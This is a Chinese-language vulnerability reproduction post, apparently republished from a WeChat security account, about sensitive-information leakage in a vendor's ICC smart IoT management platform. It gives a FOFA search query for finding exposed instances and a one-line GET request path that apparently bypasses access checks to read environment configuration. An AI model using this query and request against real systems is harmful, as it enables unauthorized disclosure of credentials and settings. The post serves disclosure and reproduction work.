某华ICC智能物联综合管理平台env敏感信息泄露

admin
admin
admin
109387
文章
90
评论
2024年7月3日07:49:49评论7 views字数 238阅读0分47秒阅读模式
02    漏洞描述

某华ICC智能物联综合管理平台env敏感信息泄露，通过漏洞攻击者可以获取敏感信息。

03    测绘查询-系统指纹

 fofa：body="*客户端会小于800*" || body="/static/fontshd/font-hd.css"

某华ICC智能物联综合管理平台env敏感信息泄露

04    漏洞复现 

1、访问漏洞系统

某华ICC智能物联综合管理平台env敏感信息泄露

某华ICC智能物联综合管理平台env敏感信息泄露

漏洞POC

GET访问 URL后面加上漏洞地址
/evo-apigw/dsc-mac/env;.js

 

原文始发于微信公众号（安羽安全）：【漏洞复现】某华ICC智能物联综合管理平台env敏感信息泄露

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月3日07:49:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   某华ICC智能物联综合管理平台env敏感信息泄露https://cn-sec.com/archives/2903399.html

发表评论

匿名网友 填写信息